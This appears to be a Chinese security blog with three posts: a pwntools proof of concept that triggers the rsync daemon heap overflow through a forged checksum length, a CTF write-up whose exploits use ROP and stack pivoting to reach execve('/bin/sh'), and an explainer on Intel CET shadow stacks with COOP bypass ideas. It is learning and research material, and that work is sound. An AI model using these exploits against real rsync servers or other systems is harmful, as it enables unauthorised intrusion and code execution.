某天在 archlinux 主页看到建议立即更新 Rsync 的警告，看了下感觉复现难度不高，于是来试试。

Rsync 版本 31.0，采用默认配置 ftp 模式。远程服务器上随便放一个 libc.so.6 文件作为测试（文件本身是什么不重要，但是要稍大一些）。

漏洞的具体分析在 Google 的这篇文章写得很清楚，我就不赘述了。简单来说就是在 rsync daemon 文件同步过程中，客户端上传用于比对文件是否一致的校验和 sum2 时，用于控制其长度的 s2length 用户可控且最大值大于 sum2 缓冲区长度。（怀疑是某次更新时被杂乱的宏定义搞晕了）伪造 s2length 即可构造最长 48 字节的堆上缓冲区溢出，威力极强。

    #!/usr/bin/python
    
    from pwn import *
    
    context(arch='amd64', os='linux', terminal=['konsole', '-e'], log_level='debug')
    binary = './rsync'
    
    io = connect('127.0.0.1', 873) # 远程服务器 rsync --daemon
    e = ELF(binary)
    libc = ELF('/usr/lib/libc.so.6', checksec=None)
    
    # gdb.attach(p, 'b *$rebase(0x22068)')
    
    io.sendlineafter(b'@RSYNCD: 31.0 sha512 sha256 sha1 md5 md4', b'@RSYNCD: 31.0 sha512 sha256 sha1 md5 md4')
    io.sendline(b'ftp')
    io.sendafter(b'@RSYNCD: OK', bytes.fromhex('2d2d736572766572002d2d73656e646572002d766c6f67447470727a652e694c73667843497675002e006674702f6c6962632e736f2e3600001e7878683132382078786833207878683634206d6435206d64342073686131137a737464206c7a34207a6c696278207a6c69620400000700000000130000070200a0')) # 复现正常的协议交换过程等
    # cksum count, block length, cksum length, remainder length
    io.sendafter(b'root', p32(1) + p32(64) * 2 + p32(0))
    io.send(p32(0x07000044) + p32(0xcafebabe) + cyclic(64)) # 0x07000044 为消息头，0xcafebabe 为 sum，cyclic(64) 为 sum2（长度最大 16 字节，溢出 48 字节）
    
    io.recvall()

堆缓冲区溢出效果：

虽然但是，做 CTF glibc heap Pwn 做得有点恶心了，并不想写 exploit...（懒）

题目链接

messages

程序分为 input_messages 和 print_messages 两部分。在输入祝福时字符串被连续顺序地存储在 bss 段，字符串之间由空字符分隔。输出祝福前程序先将字符串集的数据结构由连续紧凑存储转换为字符串数组，字符串值被拷贝到栈上。栈上数组长度有限且每个数组元素字符串空间占用相等（即使实际只有几个字符）。注意虽然正常键盘输入无法输入空字符，但利用 pwntools 等工具可以直接向程序输入空字符，无论程序直接使用系统调用还是使用标准库 IO 函数（本题未涉及，但也常见）。所以我们可以在输入的字符串中间插入空字符（b'\0'），程序输出时没有检查字符串最大个数（只检查了字符串最大长度，因此无法直接溢出），可以构造多个字符串（长度须大于 1），从而使程序在之后的字符串数组转换过程中数组下标溢出，直至栈上返回地址。栈上每个字符串占用 56 字节，一个长度占用 8 字节，长度数组长 20 * 8 字节，所以覆盖完字符串数组后还需构造 3 个字符串以到达返回地址。程序中存在后门函数 getflag 且未开启 PIE 保护所以可以直接 ret2text，程序未开启 canary 保护所以可以直接溢出。注意 print_messages 函数栈上还有用于存储字符串长度的数组（IDA 无法正确识别），需要手动修复字符串数组以及长度数组变量类型（char messages[16][56];、size_t lengths[20];）。

Exp:

from pwn import *

context(arch='amd64', os='linux')
io = ...
e = ELF('./messages')

io.sendafter(b'> ', (b'aa\0' * 16)[:-1]) # 填满栈上 `messages` 数组
io.sendafter(b'> ', b'\x01\x01\x00' * 3 + p64(e.sym['getflag'])) # 填满栈上 `lengths` 数组及暂存 `rbp`、覆盖返回地址（`\x01` 可为任意非空字符）
io.sendafter(b'> ', b'\n') # 结束输入

io.interactive()

strncpy 会将目标剩余空间全部清零，所以可以正确写入地址而无需考虑将原本的地址剩余部分清零。实际做题时无需理解并修复 IDA 识别的栈上变量类型，也无需精确计算需要构造的字符串个数。只需构造多个不同的字符串，结合 gdb 调试看返回地址被改成哪个字符串值并将该字符串替换为后门函数地址即可。

messages_flag2

拿 flag1 过程中就不难发现由于字符串数组下标溢出修改了 lengths 数组，程序可以越界输出栈上值。栈上一定存在 libc 地址（例如 main 的返回地址在 __libc_start_main 中），因此可以泄露 libc 基址。本题栈上变量布局比较凑巧，虽然由于字符串输入会被地址空字节截断，因此无法在同一个字符串中连续输入两个地址（x86_64 虚拟地址长度仅 6 字节，用户空间地址中必然包含空字节），无法直接写入 ROP 链。但是由于栈上暂存 rbp 和返回地址恰好位于栈上 messages 中两个字符串的交界处，所以可以同时修改，构造栈迁移。第一轮输入时覆盖返回地址为 main 以构造第二轮输入同时泄露 libc 基址。第二轮输入时利用 leave; ret gadget 将栈迁移到 bss 段，提前在此输入 ROP 链（注意先将输入字符串填充至 8 字节对齐），即可 getshell。

Exp:

from pwn import *

context(arch='amd64', os='linux')
io = ...
e = ELF('./messages')
libc = ELF('./libc.so.6', checksec=None)

io.sendafter(b'> ', (b'aa\0' * 16)[:-1])
io.sendafter(b'> ', b'\x01\x01\x00\x01\x01\x00\xd0\x01\x00' + p64(e.sym['main']))
io.sendafter(b'> ', b'\n')

io.recvuntil('有人说：aa'.encode())
io.recvuntil('有人说：aa'.encode())
io.recvuntil('有人说：aa'.encode())
libc.address = u64(io.recvuntil('有人说：'.encode(), drop=True)[-8:]) - 171584 # __libc_start_main+128
success(f'libc_base: 0x{libc.address:x}')

io.sendafter(b'> ', (b'aa\0' * 16)[:-1])
io.sendafter(b'> ', b'\x01\x01\x00\x01\x01')
io.sendafter(b'> ', cyclic(48) + p32(0x4040f8)[:-1]) # 去除地址中空字节
io.sendafter(b'> ', p64(libc.search(asm('leave;ret')).__next__()))
payload0 = flat([
    0x405000,
    libc.search(asm('pop rdi;ret')).__next__(),
    libc.search(b'/bin/sh\x00').__next__(),
    libc.search(asm('pop rsi;ret')).__next__(),
    0,
    libc.search(asm('pop rdx;pop r12;ret')).__next__(),
])
payload1 = b'\x00' * 15 + p64(libc.sym['execve'])
io.sendafter(b'> ', cyclic(5) + payload0)
io.sendafter(b'> ', payload1)
io.sendafter(b'> ', b'\n')

io.interactive()

注意由于 bss 空间不大，getshell 时不能使用 system 函数，否则执行过程中栈指针到达不可写段触发段错误。改用 execve 系统调用包装函数，传参 "/bin/sh", 0, 0，无需额外栈空间。（栈迁移时一般都如此）

本文已过时，请转至 Intel CET (Shadow Stack + IBT) 保护及其绕过方式。

前言

以前逆向程序的时候一直好奇 Linux 环境下编译的 C 程序每个函数开头的汇编指令 endbr64 有什么用。查阅 Intel 编程手册，其中对这个指令的描述是：

Terminate an Indirect Branch in 64-bit Mode

呃，啥？经过一些搜索后发现这个竟然是一种新型的针对 ROP 的保护机制，作为 pwner 这下不得不了解了。

Intel CET

Intel CET（Control Flow Enforcement Technology / 控制流加固技术）是近年刚兴起的技术，其中包含 Shadow Stack（SHSTK）和 IBT（Indirect Branch Tracking），Intel Tiger Lake CPU 及以上才支持。下面是我个人对这两个技术粗略不严谨的理解：

Shadow Stack 是程序运行时在不同虚拟内存段中同时维护两个调用栈，其中一个是“影子栈”，只存储返回地址。CPU 在函数调用与返回过程将同时操作两个栈，如果在函数返回时发现正常调用栈的返回地址与影子栈中的不同就产生段错误。这样一来只通过栈缓冲区溢出等方式修改栈上函数返回值以劫持控制流的方式就失效了，几乎所有 ROP / JOP 也都将失效。

Indirect Branch Tracking 是 CPU 每当执行长跳转时都检查自己下一个指令是否为 endbr64 / 32，如果是就不执行任何操作（类似 nop），如果不是就产生段错误。（实际实现是 CPU 内部维护一个状态机）

目前 Windows 只支持 Shadow Stack（Windows CFG，类似 Intel CET），还不支持 endbr 标记的 IBT；Linux 上也几乎没有支持，算是高度实验性的功能。接下来是在 Linux 上实验启用 CET 的具体操作，主要看 Shadow Stack。

验证 Intel CET 是否可用

首先需要内核启用 CET 特性，Linux 6.2 默认启用 IBT，Linux 6.6 正式合并 SHSTK。在命令行中验证启用状态：

$ sudo dmesg | grep CET
[    0.111658] CET detected: Indirect Branch Tracking enabled
$ cat /proc/cpuinfo | grep shstk
flags           : ... user_shstk ...
$ cat /proc/cpuinfo | grep ibt
flags           : ... ibt ...

验证某程序是否在编译时启用 CET：

$ readelf -n <application> | grep -a SHSTK
      Properties: x86 feature: IBT, SHSTK
$ readelf -n <application> | grep -a IBT
      Properties: x86 feature: IBT, SHSTK

验证当前程序（cat）运行时是否已启用 Shadow Stack：（通常不会启用）

$ cat /proc/self/status | grep shstk
$ cat /proc/<pid>/status | grep shstk # pid 为 <pid> 的程序是否启用 Shadow Stack

GCC / glibc 环境启用 Intel CET SHSTK / IBT

我的环境：

System: Archlinux
Kernel: 6.11.6-zen1-1-zen
glibc: GNU C Library (GNU libc) stable release version 2.40

编译时

使用 gcc 编译时添加以下编译参数：

gcc -fcf-protection=full

运行时

目前 glibc 动态链接器 ld.so 默认不启用 Intel CET 特性（见源码），需要设置以下环境变量以强制启用：

GLIBC_TUNABLES=glibc.cpu.x86_shstk=on:glibc.cpu.x86_ibt=on:glibc.cpu.hwcaps=IBT,SHSTK

[!NOTE]

将以上环境变量中 on 改为 permissive 可以以更兼容的方式启用 CET（SHSTK / IBT），当程序本身或其动态链接库不支持 CET 特性时，动态链接器将自动关闭 CET。

效果

编写这样一个简单的 C 程序：

# File: test_cet.c

#include <stdio.h>

int main(void) {
  puts("Hello, shadow stack!");
  return 0;
}

编译运行：

$ gcc -fcf-protection=branch test_cet.c -o test_cet
$ GLIBC_TUNABLES=glibc.cpu.x86_shstk=on:glibc.cpu.x86_ibt=on:glibc.cpu.hwcaps=IBT,SHSTK ./test_cet
Hello, shadow stack!

程序正常输出，但这并不是重点。接下来使用 gdb + pwndbg 调试验证 Shadow Stack 确实已启用：

$ gdb ./a.out
pwndbg> r
...
pwndbg> set environment GLIBC_TUNABLES=glibc.cpu.x86_shstk=on:glibc.cpu.x86_ibt=on:glibc.cpu.hwcaps=IBT,SHSTK
pwndbg> start
...
pwndbg> vmmap
...
0x7ffff7400000     0x7ffff7c00000 rw-p   800000      0 [anon_7ffff7400]
...
pwndbg> b _IO_file_write
...
pwndbg> c
...
pwndbg> tele 0x7ffff7bff000 1000
00:0000│  0x7ffff7bff000 ◂— 0
... ↓     496 skipped
1f1:0f88│  0x7ffff7bfff88 —▸ 0x7ffff7e99aac (sbrk+108) ◂— test eax, eax
1f2:0f90│  0x7ffff7bfff90 —▸ 0x7ffff7e252e6 (__default_morecore+22) ◂— cmp rax, -1
1f3:0f98│  0x7ffff7bfff98 —▸ 0x7ffff7e2622b (sysmalloc+1019) ◂— mov r10, qword ptr [rbp - 0x50]
1f4:0fa0│  0x7ffff7bfffa0 —▸ 0x7ffff7e27435 (_int_malloc+3413) ◂— mov rcx, qword ptr [rbp - 0x38]
1f5:0fa8│  0x7ffff7bfffa8 —▸ 0x7ffff7e27435 (_int_malloc+3413) ◂— mov rcx, qword ptr [rbp - 0x38]
1f6:0fb0│  0x7ffff7bfffb0 —▸ 0x7ffff7e28002 (malloc+434) ◂— test rax, rax
1f7:0fb8│  0x7ffff7bfffb8 —▸ 0x7ffff7e012fd (_IO_file_doallocate+173) ◂— mov eax, 1
1f8:0fc0│  0x7ffff7bfffc0 —▸ 0x7ffff7e0d2dd (new_do_write+93) ◂— movzx edi, word ptr [rbx + 0x80]
1f9:0fc8│  0x7ffff7bfffc8 —▸ 0x7ffff7e0e191 (_IO_do_write+33) ◂— cmp rbx, rax
1fa:0fd0│  0x7ffff7bfffd0 —▸ 0x7ffff7e0e70b (_IO_file_overflow+283) ◂— cmp eax, -1
1fb:0fd8│  0x7ffff7bfffd8 —▸ 0x7ffff7e03dba (puts+474) ◂— cmp eax, -1
1fc:0fe0│  0x7ffff7bfffe0 —▸ 0x555555555160 (main+23) ◂— mov eax, 0
1fd:0fe8│  0x7ffff7bfffe8 —▸ 0x7ffff7da8e08 (__libc_start_call_main+120) ◂— mov edi, eax
1fe:0ff0│  0x7ffff7bffff0 —▸ 0x7ffff7da8ecc (__libc_start_main+140) ◂— mov r14, qword ptr [rip + 0x1c10a5]
1ff:0ff8│  0x7ffff7bffff8 —▸ 0x555555555075 (_start+37) ◂— hlt 
pwndbg> bt
#0  _IO_new_file_write (f=0x7ffff7f6b5c0 <_IO_2_1_stdout_>, data=0x5555555592a0, n=18) at fileops.c:1174
#1  0x00007ffff7e0d2dd in new_do_write (fp=0x7ffff7f6b5c0 <_IO_2_1_stdout_>, data=0x5555555592a0 "Hello, Intel CET!\n", 
    to_do=to_do@entry=18) at /usr/src/debug/glibc/glibc/libio/libioP.h:1030
#2  0x00007ffff7e0e191 in _IO_new_do_write (fp=fp@entry=0x7ffff7f6b5c0 <_IO_2_1_stdout_>, data=<optimized out>, to_do=18) at fileops.c:426
#3  0x00007ffff7e0e70b in _IO_new_file_overflow (f=0x7ffff7f6b5c0 <_IO_2_1_stdout_>, ch=10) at fileops.c:784
#4  0x00007ffff7e03dba in __GI__IO_puts (str=0x555555556004 "Hello, Intel CET!") at ioputs.c:41
#5  0x0000555555555160 in main ()
#6  0x00007ffff7da8e08 in __libc_start_call_main (main=main@entry=0x555555555149 <main>, argc=argc@entry=1, 
    argv=argv@entry=0x7fffffffe2f8) at ../sysdeps/nptl/libc_start_call_main.h:58
#7  0x00007ffff7da8ecc in __libc_start_main_impl (main=0x555555555149 <main>, argc=1, argv=0x7fffffffe2f8, init=<optimized out>, 
    fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7fffffffe2e8) at ../csu/libc-start.c:360
#8  0x0000555555555075 in _start ()

可以看到程序运行时多出一个超大的内存段，这就是 Shadow Stack。断点一个 libc 调用层级较深的函数，可以看到 Shadow Stack 中存储了逐层函数返回地址（调用栈）。

CET 默认不启用确实有道理，在我自己电脑上测试，全局设置环境变量（on）后连 gdb 都打不开了... 整个系统也变得极不稳定。

Fatal signal: 段错误
----- Backtrace -----
0x5ef6d4be903e ???
0x5ef6d4d107c0 ???
0x5ef6d4d109bb ???
0x746656c4c1cf ???
0x7466508bf125 ???
---------------------
A fatal error internal to GDB has been detected, further
debugging is not possible.  GDB will now terminate.

This is a bug, please report it.  For instructions, see:
<https://www.gnu.org/software/gdb/bugs/>.

fish: Job 1, 'GLIBC_TUNABLES=glibc.cpu.x86_sh…' terminated by signal SIGSEGV (Address boundary error)

用户态启用 SHSTK 底层实现

Linux 用户态动态开关 Shadow Stack 主要依赖 arch_prctl 系统调用：

arch_prctl(ARCH_SHSTK_ENABLE, unsigned long feature)
    启用‘feature’指定的特性。一次只能操作一个特性。

arch_prctl(ARCH_SHSTK_DISABLE, unsigned long feature)
    关闭‘feature’指定的特性。一次只能操作一个特性。

arch_prctl(ARCH_SHSTK_LOCK, unsigned long features)
    锁定特性的启用或关闭状态。‘features’ 是所有需要锁定的特性的遮罩（按位或）。没有按位或设定的特性的锁定状态不变，之后无法再启用或关闭已锁定的特性。

arch_prctl(ARCH_SHSTK_UNLOCK, unsigned long features)
    锁定特性。‘features’ 是所有需要解锁的特性的遮罩。没有按位或设定的特性的锁定状态不变。只能在 ptrace 时使用。

arch_prctl(ARCH_SHSTK_STATUS, unsigned long addr)
    将当前启用的特性拷贝到 addr 地址处。特性启用状态描述方式同上述用法中传入的 ‘features’。

可指定的特性：
    ARCH_SHSTK_SHSTK - Shadow stack
    ARCH_SHSTK_WRSS  - WRSS

Glibc 动态链接器 ld.so 中有关启用 SHSTK 的源码（sysdeps/unix/sysv/linux/x86_64/dl-cet.h）：

/* 用宏启用 shadow stack 以避免调用栈下溢。（刚启用时 shadow stack 为空，此时若返回将触发保护。）*/
#define ENABLE_X86_CET(cet_feature)                \
  if ((cet_feature & GNU_PROPERTY_X86_FEATURE_1_SHSTK))        \
    {                                \
      long long int kernel_feature = ARCH_SHSTK_SHSTK;        \
      INTERNAL_SYSCALL_CALL (arch_prctl, ARCH_SHSTK_ENABLE,    \
                 kernel_feature);            \
    }

#define X86_STRINGIFY_1(x)    #x
#define X86_STRINGIFY(x)    X86_STRINGIFY_1 (x)

/* 如果已在 GL(dl_x86_feature_1) 启用，则在调用 _dl_init 前启用 shadow stack。调用 _dl_setup_x86_features 以初始化 shadow stack。*/
#define RTLD_START_ENABLE_X86_FEATURES \
"\
    # 检查 shadow stack 是否已在 GL(dl_x86_feature_1) 启用。\n\
    movl _rtld_local+" X86_STRINGIFY (RTLD_GLOBAL_DL_X86_FEATURE_1_OFFSET) "(%rip), %edx\n\
    testl $" X86_STRINGIFY (X86_FEATURE_1_SHSTK) ", %edx\n\
    jz 1f\n\
    # 如果在 GL(dl_x86_feature_1) 中启用，启用 shadow stack。\n\
    movl $" X86_STRINGIFY (ARCH_SHSTK_SHSTK) ", %esi\n\
    movl $" X86_STRINGIFY (ARCH_SHSTK_ENABLE) ", %edi\n\
    movl $" X86_STRINGIFY (__NR_arch_prctl) ", %eax\n\
    syscall\n\
1:\n\
    # 将 GL(dl_x86_feature_1) 传参给 _dl_cet_setup_features。\n\
    movl %edx, %edi\n\
    # 为调用 _dl_cet_setup_features 对齐栈指针。\n\
    andq $-16, %rsp\n\
    call _dl_cet_setup_features\n\
    # 从 %r12 和 %r13 恢复 %rax 和 %rsp。\n\
    movq %r12, %rax\n\
    movq %r13, %rsp\n\
"

所以其实可以这样手动在程序中使用 shadow stack 而无需依赖 glibc ld：

#include <stdio.h>

#define ENABLE_SHSTK                                                           \
    asm("mov $0x5001, %rdi;"                                                   \
        "mov $0x1, %rsi;"                                                      \
        "mov $158, %rax;"                                                      \
        "syscall;");

#define DISABLE_SHSTK                                                          \
    asm("mov $0x5002, %rdi;"                                                   \
        "mov $0x1, %rsi;"                                                      \
        "mov $158, %rax;"                                                      \
        "syscall;");

int main(void) {
    ENABLE_SHSTK
    puts("hello, world!");
    DISABLE_SHSTK
    return 0;
}

SHSTK 内核底层实现

SHSTK 的 arch_prctl 最后会转到 shstk_prctl，SHSTK 的主要逻辑就在 arch/x86/kernel/shstk.c。这里没什么好分析的，因为 SHSTK 本身由硬件实现，内核只负责检查传入参数、管理 shadow stack 内存页、设置相关寄存器等。

在申请 shadow stack 内存页 do_mmap 时，flags 参数传入了一个新的标志 VM_SHADOW_STACK，这样 mmap 会额外申请一个保护页（guard page），这个页一旦被读写就会触发段错误。Shadow stack 调用栈指针（ssp）移动方式有 push、pop 和 incssp 指令，其中 incssp 指令移动 ssp 后会读其相邻内存，且一次最多只能移动 2040 字节。加入 guard page 后可以防止程序通过 incssp 指令将 ssp 移动到非法内存区。

SHSTK 启用后的攻击思路

Shadow Stack 启用后，传统的 ROP 等技术失效，但并非无法做到类似链式 gadgets 的任意代码执行。可以采用一种叫“伪面向对象编程”（Counterfeit Object-Oriented Programming / COOP）的新技术，其基本思路是在类似 C++ 的面向对象语言中通过修改虚函数表为 vfgadgets 来达到类似 ROP 的效果。vfgadget 分为 Main Loop Gadget（将其他 gadgets 串联起来）、Argument Loader Gadget（类似 ROP 中的 pop rdi; ret;）、Invoker Gadget（类似 ROP 中的 system）、Collector Gadget（存储 Invoker 的返回值）。

搜寻 vfgadgets 的工具（类似 ropper）：https://github.com/x86-512/VXpp

COOP 详解：https://www.offsec.com/blog/bypassing-intel-cet-with-counterfeit-objects/

实际用了下，只有在较大型的程序里可能凑齐 vfgadgets，不容易实现攻击。